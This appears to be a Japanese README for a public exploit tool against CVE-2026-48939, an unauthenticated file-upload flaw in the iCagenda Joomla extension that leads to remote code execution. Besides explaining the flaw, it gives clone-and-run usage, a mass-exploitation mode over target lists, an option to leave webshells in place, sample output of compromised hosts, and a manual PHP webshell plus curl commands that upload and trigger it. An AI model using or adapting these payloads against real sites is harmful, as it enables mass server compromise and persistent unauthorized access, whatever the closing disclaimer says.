
iCagenda Joomla拡張機能 < 4.0.8 の認証前任意ファイルアップロードRCEエクスプロイト(CVSS 10.0)
CVE-2026-48939 は、Joomla 用イベントカレンダー拡張機能 iCagenda における CVSS 10.0 の重大な脆弱性です。フロントエンドのイベント登録フォームのファイル添付機能は、アクセス制御をコントローラではなくビュー層でのみ実施しているため、拡張子検証なしの未認証ファイルアップロードが可能になります。
アップロードされたファイルは Web ルート直下の /images/icagenda/frontend/attachments/ に保存され、PHP として直ちに実行可能になります。
| iCagenda バージョン | ステータス |
|---|---|
| 3.2.1 – 3.9.14 | 影響あり |
| 4.0.0 – 4.0.7 | 影響あり |
| 3.9.15 / 4.0.8+ | 修正済み |
registration.submit コントローラは、コンポーネント設定で構成された「登録者のみ」アクセス制限を適用せずにファイルアップロードを処理します。添付ファイルは、許可リスト、MIME タイプ、コンテンツ検証のいずれも行われず、元の拡張子のまま書き込まれます。
View Layer → "Registered Only" enforced (attempts to block)
Controller → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination → Web-accessible directory → PHP executes directly
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# Single target
python cve_2026_48939.py -t target.com
# Mass exploit
python cve_2026_48939.py -f targets.txt
# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup
# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 25)
--no-cleanup Leave shells on target
-v, --verbose Show detailed output
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
手順 1 — PHP ウェブシェルをアップロード
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
手順 2 — コマンドを実行
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
教育目的および許可を得たテスト目的専用です。
本ソフトウェアは、許可を得たペネトレーションテストを実施するセキュリティ専門家、自社インフラを監査する組織、脆弱性の悪用を研究する研究者を対象としています。
コンピュータシステムへの不正アクセスは違法であり、以下に違反する可能性があります:
- 米国: Computer Fraud and Abuse Act(18 U.S.C. 1030)
- インドネシア: UU ITE 第30条および第46条
- 欧州連合: 指令 2013/40/EU
- 英国: Computer Misuse Act 1990
著者は誤用に対する一切の責任を負いません。
| リソース | リンク |
|---|---|
| IONIX Advisory | ionix.io/threat-center/cve-2026-48939 |
| NVD Entry | CVE-2026-48939 |
| iCagenda チェンジログ | icagenda.com/docs |
このプロジェクトは iCagenda および Joomlic とは提携していません。